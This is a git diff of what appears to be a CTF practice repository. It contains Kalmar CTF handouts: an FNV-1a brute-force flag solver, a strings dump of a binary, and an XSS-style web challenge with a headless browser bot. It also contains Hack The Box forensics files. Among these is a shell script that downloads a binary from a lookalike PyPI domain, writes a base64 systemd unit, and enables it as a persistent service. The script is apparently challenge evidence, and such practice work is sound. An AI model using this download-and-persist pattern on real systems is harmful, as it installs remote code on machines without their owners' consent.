2026/kalmar/misc/git-hoarder/handout/flag.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
kalmar{test_flag}
|
||||||
BIN
2026/kalmar/rev/oracle/0racle.exe
Executable file
BIN
2026/kalmar/rev/oracle/0racle.exe
Executable file
Binary file not shown.
BIN
2026/kalmar/rev/oracle/0racle.exe.i64
Normal file
BIN
2026/kalmar/rev/oracle/0racle.exe.i64
Normal file
Binary file not shown.
BIN
2026/kalmar/rev/oracle/layer4_sc.bin
Normal file
BIN
2026/kalmar/rev/oracle/layer4_sc.bin
Normal file
Binary file not shown.
BIN
2026/kalmar/rev/oracle/layer4_sc.bin.i64
Normal file
BIN
2026/kalmar/rev/oracle/layer4_sc.bin.i64
Normal file
Binary file not shown.
BIN
2026/kalmar/rev/oracle/solve
Executable file
BIN
2026/kalmar/rev/oracle/solve
Executable file
Binary file not shown.
79
2026/kalmar/rev/oracle/solve.cpp
Normal file
79
2026/kalmar/rev/oracle/solve.cpp
Normal file
@@ -0,0 +1,79 @@
|
|||||||
|
#include <iostream>
|
||||||
|
#include <string>
|
||||||
|
#include <vector>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <future>
|
||||||
|
|
||||||
|
const uint32_t BASIS = 0x811c9dc5;
|
||||||
|
const uint32_t PRIME = 0x1000193;
|
||||||
|
const std::string CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_";
|
||||||
|
|
||||||
|
uint32_t fnv1a(const std::string& s) {
|
||||||
|
uint32_t hash = BASIS;
|
||||||
|
for (unsigned char c : s) {
|
||||||
|
hash ^= c;
|
||||||
|
hash *= PRIME;
|
||||||
|
}
|
||||||
|
return hash;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Recursive cracker for a specific segment
|
||||||
|
std::string crack(int length, uint32_t target) {
|
||||||
|
std::string current(length, CHARSET[0]);
|
||||||
|
|
||||||
|
auto backtrack = [&](auto self, int depth) -> bool {
|
||||||
|
if (depth == length) {
|
||||||
|
return fnv1a(current) == target;
|
||||||
|
}
|
||||||
|
for (char c : CHARSET) {
|
||||||
|
current[depth] = c;
|
||||||
|
if (self(self, depth + 1)) return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
};
|
||||||
|
|
||||||
|
if (backtrack(backtrack, 0)) return current;
|
||||||
|
return "?????";
|
||||||
|
}
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
struct Segment {
|
||||||
|
int id;
|
||||||
|
int len;
|
||||||
|
uint32_t hash;
|
||||||
|
};
|
||||||
|
|
||||||
|
std::vector<Segment> segments = {
|
||||||
|
{1, 4, 0x1fdb82eb}, // 7:11
|
||||||
|
{2, 3, 0xc498c8a6}, // 12:15
|
||||||
|
{3, 5, 0xd451383b}, // 16:21
|
||||||
|
{4, 3, 0xf1d1bdc9}, // 22:25
|
||||||
|
{5, 5, 0x5768cca7}, // 26:31
|
||||||
|
{6, 3, 0xe25d1966}, // 32:35
|
||||||
|
{7, 4, 0x45b2772b} // 36:40
|
||||||
|
};
|
||||||
|
|
||||||
|
std::vector<std::future<std::string>> workers;
|
||||||
|
std::cout << "[*] Launching 7 parallel threads for FNV-1a brute-force..." << std::endl;
|
||||||
|
|
||||||
|
for (const auto& s : segments) {
|
||||||
|
workers.push_back(std::async(std::launch::async, crack, s.len, s.hash));
|
||||||
|
}
|
||||||
|
|
||||||
|
std::vector<std::string> results;
|
||||||
|
for (size_t i = 0; i < workers.size(); ++i) {
|
||||||
|
std::string found = workers[i].get();
|
||||||
|
results.push_back(found);
|
||||||
|
std::cout << "[+] Segment " << i + 1 << " (" << segments[i].len << " chars): " << found << std::endl;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::cout << "\n==========================================" << std::endl;
|
||||||
|
std::cout << "FINAL FLAG: kalmar{";
|
||||||
|
for (size_t i = 0; i < results.size(); ++i) {
|
||||||
|
std::cout << results[i] << (i == results.size() - 1 ? "" : "_");
|
||||||
|
}
|
||||||
|
std::cout << "}" << std::endl;
|
||||||
|
std::cout << "==========================================" << std::endl;
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
17285
2026/kalmar/rev/oracle/strings_output
Normal file
17285
2026/kalmar/rev/oracle/strings_output
Normal file
File diff suppressed because it is too large
Load Diff
427
2026/kalmar/rev/oracle/strings_output_le
Normal file
427
2026/kalmar/rev/oracle/strings_output_le
Normal file
@@ -0,0 +1,427 @@
|
|||||||
|
jjjj
|
||||||
|
jjjj
|
||||||
|
jjjjjjjjjjjjjjjj
|
||||||
|
jjjjjjjjjjjjjjjj
|
||||||
|
jjjjjjjjjj
|
||||||
|
jjjjjjjjjjjjjjjj
|
||||||
|
vjjjj
|
||||||
|
vjjjj
|
||||||
|
jjjjjjjjjjjjjjjj
|
||||||
|
jjjjjjjjjjjjjjjj
|
||||||
|
jjjjjjjjjjjjjjjj
|
||||||
|
jjjjjjjjjjjjjjjj
|
||||||
|
jjjjjjjjjjjjjjjj
|
||||||
|
jjjjjjjjjjjjjj
|
||||||
|
jjjjj
|
||||||
|
jjjjj
|
||||||
|
jjjjjjjjjjjjjjjj
|
||||||
|
jjjjjjh
|
||||||
|
jjjjh
|
||||||
|
jjjjjjjjjjjjjj
|
||||||
|
\jjjjjjj
|
||||||
|
jjjjj
|
||||||
|
jjjjjjjjjjjjj
|
||||||
|
jjjjjjjjjjjjjjjj
|
||||||
|
jjjjjjjjjjjjjjj
|
||||||
|
jjjjjjjjjjjjjjj
|
||||||
|
jjjjjjjjjjjjjjj
|
||||||
|
jjjjjjjjjjjjjj
|
||||||
|
jjjjjjjjjj
|
||||||
|
jjjjjjjjjjjjjjjj
|
||||||
|
jjjjjjjjjjjjjjjj
|
||||||
|
jjjjjjjjjjjjjjj
|
||||||
|
jjjjjjjjjjjjjjjj
|
||||||
|
jjjjjjjjjjjjjjj
|
||||||
|
jjjjjjjjjjjjjjjj
|
||||||
|
jjjjjjjjjjjjjj
|
||||||
|
jjjjjjjjjjjjjjjj
|
||||||
|
jjjjjjjjjjjjjjjj
|
||||||
|
jjjjjjjjjjjjj
|
||||||
|
jjjj
|
||||||
|
jjjjj
|
||||||
|
jjjjj
|
||||||
|
jjjjjjjjjjjjjj
|
||||||
|
jjjj
|
||||||
|
jjjj
|
||||||
|
jjjj
|
||||||
|
jjjjj
|
||||||
|
jjjj
|
||||||
|
jjjj
|
||||||
|
jjjj
|
||||||
|
jjjjj
|
||||||
|
jjjj
|
||||||
|
jjjj
|
||||||
|
jjjjj
|
||||||
|
jjjjj
|
||||||
|
(08@P`p
|
||||||
|
0@`
|
||||||
|
0@`
|
||||||
|
Window
|
||||||
|
HintWindow
|
||||||
|
MDICLIENT
|
||||||
|
!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a\bcde\\\\fghijk\lm\\\\\nop\qr\stu\vwwww\xwyz{|\}~
|
||||||
|
ww\\
|
||||||
|
\\\\
|
||||||
|
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
|
||||||
|
\\\\
|
||||||
|
\\\\
|
||||||
|
wwww
|
||||||
|
\\\\
|
||||||
|
\\\\\\\\\\\
|
||||||
|
\\\\\\\\\\\\\
|
||||||
|
\\\\\\\\\\\\\\\\\\\\\\
|
||||||
|
\\\\
|
||||||
|
\\\\\\
|
||||||
|
\\\\\
|
||||||
|
w\\\\
|
||||||
|
\\\\\\\
|
||||||
|
!"#$%&'()*+,-
|
||||||
|
./.0123456789:;<=>?@ABCDEFGHI
|
||||||
|
.JKL
|
||||||
|
MJ.J
|
||||||
|
NO.P
|
||||||
|
.QKRSTU
|
||||||
|
VWXYZ[\]^_`abcdefghijkl
|
||||||
|
mnopqrstuvwxyz{|}~
|
||||||
|
KKKK
|
||||||
|
tttttt
|
||||||
|
ttttttt
|
||||||
|
ttttt
|
||||||
|
tKtttttttt
|
||||||
|
ttttttttttttttttt
|
||||||
|
....
|
||||||
|
..............
|
||||||
|
.......
|
||||||
|
.................
|
||||||
|
KKKKKKKKKKKKKKKKKKKKKKKKKKK
|
||||||
|
MMMMMM
|
||||||
|
KKKKKKKKK
|
||||||
|
KKKKKKKKKK
|
||||||
|
KKKKKKKKKKKKKKK
|
||||||
|
KKKKKKKKKKKKKKKK
|
||||||
|
KKKJJK
|
||||||
|
KKKKKKKKKKKKKK
|
||||||
|
KKKKKKKKK
|
||||||
|
KKKKKKKKKKKKKKKKK
|
||||||
|
KKKKKK
|
||||||
|
KKKKKKKKK
|
||||||
|
KKKKK
|
||||||
|
KKKKKKKK
|
||||||
|
KKKKKKKKKKKKKKKKKKKKK
|
||||||
|
KKKKKKK
|
||||||
|
KKKKK
|
||||||
|
KKKKKKKKKKKKKKK
|
||||||
|
KKKKKKKK
|
||||||
|
KKKKKKKKKKKKKKKKKKKKKK
|
||||||
|
KKKKKKK
|
||||||
|
KKKK
|
||||||
|
KKKKKK
|
||||||
|
KKKKKKKKK
|
||||||
|
KKKKKKKKKKKKKK
|
||||||
|
KKKKK
|
||||||
|
KKKKKKKK
|
||||||
|
KKKKK
|
||||||
|
KJKSTU
|
||||||
|
KKKKKK
|
||||||
|
KKKKKKKKKKKK
|
||||||
|
JJJJJJ
|
||||||
|
KKKKKKKK
|
||||||
|
KKKKKKKKKKKKKKKKKKKKKKKK
|
||||||
|
QNOQNOJK
|
||||||
|
KKKKKKKK
|
||||||
|
KKKKKK
|
||||||
|
KKKKK
|
||||||
|
KKKKKKKK
|
||||||
|
KKKKKKKKKKKKK
|
||||||
|
JKKKKKK
|
||||||
|
KKKKKKKKKKKKKKKKKK
|
||||||
|
KKKKKKKK
|
||||||
|
KKKKKKKKK
|
||||||
|
KKKKKKK
|
||||||
|
KKKKKKKKKKKKKKKK
|
||||||
|
KKKKKK
|
||||||
|
KKKK
|
||||||
|
KKKKKKK
|
||||||
|
KKKK
|
||||||
|
KKKKK
|
||||||
|
KKKKKJJJ
|
||||||
|
JJJJJJ
|
||||||
|
KKKK
|
||||||
|
KKKK
|
||||||
|
KKKK
|
||||||
|
KKKK
|
||||||
|
KKKK
|
||||||
|
KKKKKKKKKKKK
|
||||||
|
KKKKK
|
||||||
|
JJJJJJJJ
|
||||||
|
JJJJJJ
|
||||||
|
JJJJ
|
||||||
|
KKKKKK
|
||||||
|
KKKK
|
||||||
|
KKKKKK
|
||||||
|
KKKK
|
||||||
|
KKKKKKKKKKKKK
|
||||||
|
KKKKKKKKKKK
|
||||||
|
KKKKKKKKK
|
||||||
|
KKKK
|
||||||
|
KKKKKKK
|
||||||
|
KKKK
|
||||||
|
KKKK
|
||||||
|
KKKKKKK
|
||||||
|
KKKK
|
||||||
|
KKKKKKKKKKKKKKK
|
||||||
|
KKKKKKKKKKKKKKKKKKK
|
||||||
|
JJJJJJJJJJ
|
||||||
|
KKKKKKKKKKKKKKKKKKKKKKKKKKKK
|
||||||
|
KKKKKKKKKKKKKKKKKKKKKKKKKK
|
||||||
|
KKKKKKKKKKK
|
||||||
|
KKKKKKKK
|
||||||
|
KKKKKKKKKKKKK
|
||||||
|
KKKK
|
||||||
|
KKKK
|
||||||
|
KKKKKKKKKKKKKKKKKKKK
|
||||||
|
KKKKK
|
||||||
|
KKKKKKKKKKKKKKKKKK
|
||||||
|
KKKKKK
|
||||||
|
KKKKKKKKKKKKKKK
|
||||||
|
KKKKKKKKKKKKKK
|
||||||
|
KKKKK
|
||||||
|
KKKKKKKKKKKK
|
||||||
|
KKKKKKKKKK
|
||||||
|
JJJJJJJJJJJJJJJJJJKKKKKKK
|
||||||
|
KKKKK
|
||||||
|
KKKKKKKKKKKKKKKKK
|
||||||
|
KKKKKKK
|
||||||
|
JJJJJJJJJJ
|
||||||
|
JJJJJJJJJ
|
||||||
|
KKKKKKKKKKKKKK
|
||||||
|
KKKKKKKK
|
||||||
|
KKKK
|
||||||
|
KKKKKKKKKKK
|
||||||
|
KKKK
|
||||||
|
KKKK
|
||||||
|
tttttttttttt
|
||||||
|
ttttttttttttt
|
||||||
|
ttttttttttttt
|
||||||
|
MMMMM
|
||||||
|
MMMMM
|
||||||
|
MMMMM
|
||||||
|
MMMMMMMMMM
|
||||||
|
JJJJ
|
||||||
|
JJJJJJ
|
||||||
|
tKKKKtJJtt
|
||||||
|
ttttJ
|
||||||
|
JJJJJ
|
||||||
|
JJJJ
|
||||||
|
JJJJJJJ
|
||||||
|
JJJJJJJJJJJJJJ
|
||||||
|
JJJJJJJJJJJJJJJ
|
||||||
|
JJJJJJJJ
|
||||||
|
JJJJ
|
||||||
|
JJJJJJJ
|
||||||
|
JJJJJJJJJJJJJJJJJ
|
||||||
|
JJJJJJJJJJJJJJ
|
||||||
|
JJJJJJJJJJJJJJJJJJJJJJJJ
|
||||||
|
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
|
||||||
|
JJJJJJJ
|
||||||
|
JJJJJJJJJJJ
|
||||||
|
JJJJJJJJJJ
|
||||||
|
JJJJJJJ
|
||||||
|
JJJJJJJJJ
|
||||||
|
JJJJJJJJJJJJJJJJJJJJJJ
|
||||||
|
JJJJJJJJJJJJJJJ
|
||||||
|
JJJJJJJJ
|
||||||
|
JJJJJJJJJJJJ
|
||||||
|
JJJJJJJ
|
||||||
|
JJJJJJJJJJJJJJJJ
|
||||||
|
JJJJJJJJJJJJJJJJJJ
|
||||||
|
JJJJJJJJJJJJ
|
||||||
|
JJJJJJJJ
|
||||||
|
JJJJ
|
||||||
|
ttttt
|
||||||
|
tJJJJJJ
|
||||||
|
KKKKKKKK
|
||||||
|
KKKKKKK
|
||||||
|
KKKKKKK
|
||||||
|
KKKKKKK
|
||||||
|
LRLR
|
||||||
|
JJJJJJJJJJ
|
||||||
|
JJJJJJJJJ
|
||||||
|
JJJJJJ
|
||||||
|
JJJJJJJJJJJJ
|
||||||
|
KKKKKKKKKKK
|
||||||
|
KKKKKK
|
||||||
|
KKKKKK
|
||||||
|
K KKKKKKKKKKK
|
||||||
|
KKKKKK
|
||||||
|
KKKKKK
|
||||||
|
KKKKKKKKKKKJJQNO
|
||||||
|
JJJJJJJJJJQNO
|
||||||
|
JJJJJJJJJJJJJJ
|
||||||
|
KKKKK
|
||||||
|
KKKKKKKKKKKKKKKKKKKKKKK
|
||||||
|
KKKKKKKKKKKK
|
||||||
|
KKKKKK
|
||||||
|
.......
|
||||||
|
tttttttt
|
||||||
|
tKKKKKKK
|
||||||
|
KKKK
|
||||||
|
KKKKKKK
|
||||||
|
JJJJ
|
||||||
|
KKKK
|
||||||
|
KKKKKKKKKKKKKKKKKK
|
||||||
|
KKKKKK
|
||||||
|
KKKKKK
|
||||||
|
KKKKKKK
|
||||||
|
KKKKK
|
||||||
|
KKKKKKKKK
|
||||||
|
KKKKK
|
||||||
|
KKKKKKKKK
|
||||||
|
KKKKKKKK
|
||||||
|
KKKKKKJJJK
|
||||||
|
KKKKK
|
||||||
|
KKKKKKKKKKK
|
||||||
|
KKKKKK
|
||||||
|
KKKKKK
|
||||||
|
KKKKKK
|
||||||
|
ttttttt.
|
||||||
|
tttttt
|
||||||
|
ttttttt
|
||||||
|
ttttt
|
||||||
|
KKKKKKKKK
|
||||||
|
KKK................
|
||||||
|
KKKKKKKKKKKKKKKKKKKKKKKKKKK
|
||||||
|
KKKKKKKKKKKKKKKKKKKKKKKKKK
|
||||||
|
//
|
||||||
|
KKKKK
|
||||||
|
KKKKKKKKKKKKKKKKKKKKKKK
|
||||||
|
KKKKKKKKKK
|
||||||
|
KKKKKKKKKKKKKKKKKKKKKKKKKKKKK
|
||||||
|
KKKKKK
|
||||||
|
KKKKKK
|
||||||
|
KKKKKK
|
||||||
|
MMMJJ
|
||||||
|
\,\@\T\d\x\
|
||||||
|
X Y$Y
|
||||||
|
0123456789ABCDEF
|
||||||
|
MICROSOFTEDGE
|
||||||
|
[button
|
||||||
|
clock
|
||||||
|
combobox
|
||||||
|
edit
|
||||||
|
explorerbar
|
||||||
|
header
|
||||||
|
listview
|
||||||
|
menu
|
||||||
|
page
|
||||||
|
progress
|
||||||
|
rebar
|
||||||
|
scrollbar
|
||||||
|
spin
|
||||||
|
startpanel
|
||||||
|
status
|
||||||
|
taskband
|
||||||
|
taskbar
|
||||||
|
toolbar
|
||||||
|
tooltip
|
||||||
|
trackbar
|
||||||
|
traynotify
|
||||||
|
treeview
|
||||||
|
window
|
||||||
|
button
|
||||||
|
clock
|
||||||
|
combobox
|
||||||
|
edit
|
||||||
|
explorerbar
|
||||||
|
header
|
||||||
|
explorer::listview
|
||||||
|
menu
|
||||||
|
page
|
||||||
|
progress
|
||||||
|
rebar
|
||||||
|
scrollbar
|
||||||
|
spin
|
||||||
|
startpanel
|
||||||
|
status
|
||||||
|
taskband
|
||||||
|
taskbar
|
||||||
|
toolbar
|
||||||
|
tooltip
|
||||||
|
trackbar
|
||||||
|
traynotify
|
||||||
|
explorer::treeview
|
||||||
|
window
|
||||||
|
LAZ_PIC_DIALOG_TEMPLATE
|
||||||
|
msctls_updown32
|
||||||
|
LAZ_PIC_DIALOG_TEMPLATE BTN_ABORT
|
||||||
|
BTN_ABORT_150
|
||||||
|
BTN_ABORT_200
|
||||||
|
BTN_ALL
|
||||||
|
BTN_ALL_150
|
||||||
|
BTN_ALL_200
|
||||||
|
BTN_ARROWRIGHT
|
||||||
|
BTN_ARROWRIGHT_150
|
||||||
|
BTN_ARROWRIGHT_200
|
||||||
|
BTN_CANCEL
|
||||||
|
BTN_CANCEL_150
|
||||||
|
BTN_CANCEL_200 BTN_CLOSE
|
||||||
|
BTN_CLOSE_150
|
||||||
|
BTN_CLOSE_200
|
||||||
|
BTN_HELP
|
||||||
|
BTN_HELP_150
|
||||||
|
BTN_HELP_200
|
||||||
|
BTN_IGNORE
|
||||||
|
BTN_IGNORE_150
|
||||||
|
BTN_IGNORE_200
|
||||||
|
BTN_NO
|
||||||
|
BTN_NO_150
|
||||||
|
BTN_NO_200
|
||||||
|
BTN_OK
|
||||||
|
BTN_OK_150
|
||||||
|
BTN_OK_200 BTN_RETRY
|
||||||
|
BTN_RETRY_150
|
||||||
|
BTN_RETRY_200
|
||||||
|
BTN_YES
|
||||||
|
BTN_YES_150
|
||||||
|
BTN_YES_200
|
||||||
|
DIALOG_CONFIRMATION
|
||||||
|
DIALOG_CONFIRMATION_150
|
||||||
|
DIALOG_CONFIRMATION_200
|
||||||
|
DIALOG_ERROR
|
||||||
|
DIALOG_ERROR_150
|
||||||
|
DIALOG_ERROR_200
|
||||||
|
DIALOG_INFORMATION
|
||||||
|
DIALOG_INFORMATION_150
|
||||||
|
DIALOG_INFORMATION_200
|
||||||
|
DIALOG_SHIELD
|
||||||
|
DIALOG_SHIELD_150
|
||||||
|
DIALOG_SHIELD_200
|
||||||
|
DIALOG_WARNING
|
||||||
|
DIALOG_WARNING_150
|
||||||
|
DIALOG_WARNING_200
|
||||||
|
SORTASC
|
||||||
|
SORTASC_150
|
||||||
|
SORTASC_200
|
||||||
|
SORTASC_50
|
||||||
|
SORTASC_75
|
||||||
|
SORTDESC
|
||||||
|
SORTDESC_150
|
||||||
|
SORTDESC_200
|
||||||
|
SORTDESC_50
|
||||||
|
SORTDESC_75
|
||||||
|
TFORM1
|
||||||
|
TFORM2
|
||||||
|
TWINDOW
|
||||||
|
CUR_1
|
||||||
|
CUR_10
|
||||||
|
CUR_12
|
||||||
|
CUR_13
|
||||||
|
CUR_14
|
||||||
|
CUR_15
|
||||||
|
CUR_16
|
||||||
|
CUR_17
|
||||||
|
CUR_18
|
||||||
|
CUR_20
|
||||||
|
CUR_21
|
||||||
|
CUR_22
|
||||||
|
MAINICON
|
||||||
11
2026/kalmar/web/handout/README.md
Normal file
11
2026/kalmar/web/handout/README.md
Normal file
@@ -0,0 +1,11 @@
|
|||||||
|
# Exposed
|
||||||
|
Only the bot container and the aperisolve web container will be exposed
|
||||||
|
# Run
|
||||||
|
```sh
|
||||||
|
./build.sh
|
||||||
|
```
|
||||||
|
# Submit
|
||||||
|
You can submit urls to the bot with:
|
||||||
|
```sh
|
||||||
|
curl http://127.0.0.1:8091/report --json '{"url":"http://web:5000/?..."}'
|
||||||
|
````
|
||||||
17
2026/kalmar/web/handout/bot/Dockerfile
Normal file
17
2026/kalmar/web/handout/bot/Dockerfile
Normal file
@@ -0,0 +1,17 @@
|
|||||||
|
FROM fedora:latest
|
||||||
|
|
||||||
|
RUN dnf update -y && dnf install -y chromium nodejs
|
||||||
|
|
||||||
|
WORKDIR /app
|
||||||
|
|
||||||
|
COPY package*.json ./
|
||||||
|
RUN npm install
|
||||||
|
|
||||||
|
COPY bot.js .
|
||||||
|
|
||||||
|
ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD=true
|
||||||
|
ENV PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium-browser
|
||||||
|
|
||||||
|
RUN useradd -m user
|
||||||
|
USER user
|
||||||
|
CMD ["node", "bot.js"]
|
||||||
73
2026/kalmar/web/handout/bot/bot.js
Normal file
73
2026/kalmar/web/handout/bot/bot.js
Normal file
@@ -0,0 +1,73 @@
|
|||||||
|
const express = require('express');
|
||||||
|
const puppeteer = require('puppeteer');
|
||||||
|
const app = express();
|
||||||
|
|
||||||
|
const FLAG = process.env.FLAG || 'kalmar{test_flag}';
|
||||||
|
const CHALLENGE_DOMAIN = process.env.CHALLENGE_DOMAIN || 'http://web:5000/';
|
||||||
|
|
||||||
|
app.use(express.json());
|
||||||
|
|
||||||
|
function sleep(ms) {
|
||||||
|
return new Promise(res => setTimeout(res, ms));
|
||||||
|
}
|
||||||
|
|
||||||
|
async function visitUrl(url) {
|
||||||
|
const browser = await puppeteer.launch({
|
||||||
|
headless: true,
|
||||||
|
args: [
|
||||||
|
// this is not a pwn challenge, please don't rce us
|
||||||
|
'--disable-extensions',
|
||||||
|
'--disable-gpu',
|
||||||
|
'--disable-software-rasterizer',
|
||||||
|
'--js-flags=--noexpose_wasm,--jitless',
|
||||||
|
'--no-sandbox',
|
||||||
|
]
|
||||||
|
});
|
||||||
|
|
||||||
|
try {
|
||||||
|
const page = await browser.newPage();
|
||||||
|
|
||||||
|
await page.goto(CHALLENGE_DOMAIN, {
|
||||||
|
waitUntil: 'networkidle0',
|
||||||
|
});
|
||||||
|
|
||||||
|
// Flag is stored in localStorage
|
||||||
|
await page.evaluate((flag) => {
|
||||||
|
localStorage.setItem("flag", flag);
|
||||||
|
}, FLAG);
|
||||||
|
|
||||||
|
await sleep(1000);
|
||||||
|
await page.close()
|
||||||
|
|
||||||
|
// now visit reported page
|
||||||
|
const page2 = await browser.newPage();
|
||||||
|
await page2.goto(url, {waitUntil: []});
|
||||||
|
|
||||||
|
await sleep(5000);
|
||||||
|
} catch (err) {
|
||||||
|
console.error('Error visiting page:', err);
|
||||||
|
} finally {
|
||||||
|
await browser.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
app.post('/report', async (req, res) => {
|
||||||
|
const { url } = req.body;
|
||||||
|
|
||||||
|
if (!url || typeof url !== 'string' || !url.startsWith(CHALLENGE_DOMAIN + '?')) {
|
||||||
|
return res.status(400).json({ error: `Invalid URL. Url should be a string and start with ${CHALLENGE_DOMAIN + '?'}` });
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
await visitUrl(url);
|
||||||
|
res.json({ success: true });
|
||||||
|
} catch (err) {
|
||||||
|
console.error('Error on /report', err);
|
||||||
|
res.status(500).json({ error: 'Failed to visit URL' });
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
const PORT = process.env.PORT || 8080;
|
||||||
|
app.listen(PORT, () => {
|
||||||
|
console.log(`Bot listening on port ${PORT}`);
|
||||||
|
});
|
||||||
6
2026/kalmar/web/handout/bot/package.json
Normal file
6
2026/kalmar/web/handout/bot/package.json
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
{
|
||||||
|
"dependencies": {
|
||||||
|
"express": "^5.2.1",
|
||||||
|
"puppeteer": "^24.40.0"
|
||||||
|
}
|
||||||
|
}
|
||||||
21
2026/kalmar/web/handout/build.sh
Executable file
21
2026/kalmar/web/handout/build.sh
Executable file
@@ -0,0 +1,21 @@
|
|||||||
|
#!/usr/bin/env sh
|
||||||
|
git clone https://github.com/Zeecka/AperiSolve.git
|
||||||
|
cd AperiSolve
|
||||||
|
|
||||||
|
# Pinning repo version to 3.0.7
|
||||||
|
git checkout d86416c97d508c14fdda12297fb510d6e7080b13
|
||||||
|
|
||||||
|
# Pinning container version
|
||||||
|
# Version 3.0.7: https://github.com/zeecka/AperiSolve/pkgs/container/aperisolve/versions
|
||||||
|
sed --in-place -e "s/image: ghcr.io\/zeecka\/aperisolve:latest/image: ghcr.io\/zeecka\/aperisolve@sha256:c7f1f827e04d6d98b99f86845fcca31c2516cf13869270542c10b2ff4a6d9cd1/g" compose.yml
|
||||||
|
|
||||||
|
|
||||||
|
# Just for your convencience:
|
||||||
|
sed --in-place -e "s/restart: always/restart: unless-stopped/g" compose.yml
|
||||||
|
|
||||||
|
cp .env.example .env
|
||||||
|
cd ..
|
||||||
|
|
||||||
|
docker compose up --build; docker compose down
|
||||||
|
# If your user is not in the docker group, then run:
|
||||||
|
# sudo docker compose up --build; sudo docker compose down
|
||||||
19
2026/kalmar/web/handout/compose.yml
Normal file
19
2026/kalmar/web/handout/compose.yml
Normal file
@@ -0,0 +1,19 @@
|
|||||||
|
services:
|
||||||
|
nginx:
|
||||||
|
build: ./nginx
|
||||||
|
ports:
|
||||||
|
- "8091:80"
|
||||||
|
depends_on:
|
||||||
|
- web
|
||||||
|
- bot
|
||||||
|
|
||||||
|
bot:
|
||||||
|
build: ./bot
|
||||||
|
# ports:
|
||||||
|
# - 3123:3123
|
||||||
|
environment:
|
||||||
|
- FLAG=kalmar{test_flag}
|
||||||
|
- PORT=3123
|
||||||
|
|
||||||
|
include:
|
||||||
|
- AperiSolve/compose.yml
|
||||||
4
2026/kalmar/web/handout/nginx/Dockerfile
Normal file
4
2026/kalmar/web/handout/nginx/Dockerfile
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
FROM nginx:alpine
|
||||||
|
|
||||||
|
# Just adding nginx so we can expose everything over one port. It's not part of the challenge
|
||||||
|
COPY nginx.conf /etc/nginx/nginx.conf
|
||||||
17
2026/kalmar/web/handout/nginx/nginx.conf
Normal file
17
2026/kalmar/web/handout/nginx/nginx.conf
Normal file
@@ -0,0 +1,17 @@
|
|||||||
|
events {
|
||||||
|
worker_connections 1024;
|
||||||
|
}
|
||||||
|
|
||||||
|
http {
|
||||||
|
server {
|
||||||
|
listen 80;
|
||||||
|
|
||||||
|
location /report {
|
||||||
|
proxy_pass http://bot:3123;
|
||||||
|
}
|
||||||
|
|
||||||
|
location / {
|
||||||
|
proxy_pass http://web:5000;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
n=`whoami`
|
||||||
|
h=`hostname`
|
||||||
|
path='/usr/local/bin/service'
|
||||||
|
if [[ "$n" != "pandora" && "$h" != "linux_HQ" ]]; then exit; fi
|
||||||
|
|
||||||
|
curl https://files.pypi-install.com/packeges/service -o $path
|
||||||
|
|
||||||
|
chmod +x $path
|
||||||
|
|
||||||
|
echo -e "W1VuaXRdCkRlc2NyaXB0aW9uPUhUQnt0aDNzM180bDEzblNfNHIzX3MwMDAwMF9iNHMxY30KQWZ0ZXI9bmV0d29yay50YXJnZXQgbmV0d29yay1vbmxpbmUudGFyZ2V0CgpbU2VydmljZV0KVHlwZT1vbmVzaG90ClJlbWFpbkFmdGVyRXhpdD15ZXMKCkV4ZWNTdGFydD0vdXNyL2xvY2FsL2Jpbi9zZXJ2aWNlCkV4ZWNTdG9wPS91c3IvbG9jYWwvYmluL3NlcnZpY2UKCltJbnN0YWxsXQpXYW50ZWRCeT1tdWx0aS11c2VyLnRhcmdldA=="|base64 --decode > /usr/lib/systemd/system/service.service
|
||||||
|
|
||||||
|
systemctl enable service.service
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
3.13
|
||||||
@@ -0,0 +1,6 @@
|
|||||||
|
def main():
|
||||||
|
print("Hello from pursue-the-tracks!")
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
BIN
training/htb/challenges/forensics/pursue_the_tracks/output.csv
Normal file
BIN
training/htb/challenges/forensics/pursue_the_tracks/output.csv
Normal file
Binary file not shown.
|
2765
training/htb/challenges/forensics/pursue_the_tracks/output.json
Normal file
2765
training/htb/challenges/forensics/pursue_the_tracks/output.json
Normal file
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,9 @@
|
|||||||
|
[project]
|
||||||
|
name = "pursue-the-tracks"
|
||||||
|
version = "0.1.0"
|
||||||
|
description = "Add your description here"
|
||||||
|
readme = "README.md"
|
||||||
|
requires-python = ">=3.13"
|
||||||
|
dependencies = [
|
||||||
|
"analyzemft>=3.1.1",
|
||||||
|
]
|
||||||
61
training/htb/challenges/forensics/pursue_the_tracks/uv.lock
generated
Normal file
61
training/htb/challenges/forensics/pursue_the_tracks/uv.lock
generated
Normal file
@@ -0,0 +1,61 @@
|
|||||||
|
version = 1
|
||||||
|
revision = 3
|
||||||
|
requires-python = ">=3.13"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "analyzemft"
|
||||||
|
version = "3.1.1"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
dependencies = [
|
||||||
|
{ name = "openpyxl" },
|
||||||
|
{ name = "pywin32", marker = "sys_platform == 'win32'" },
|
||||||
|
]
|
||||||
|
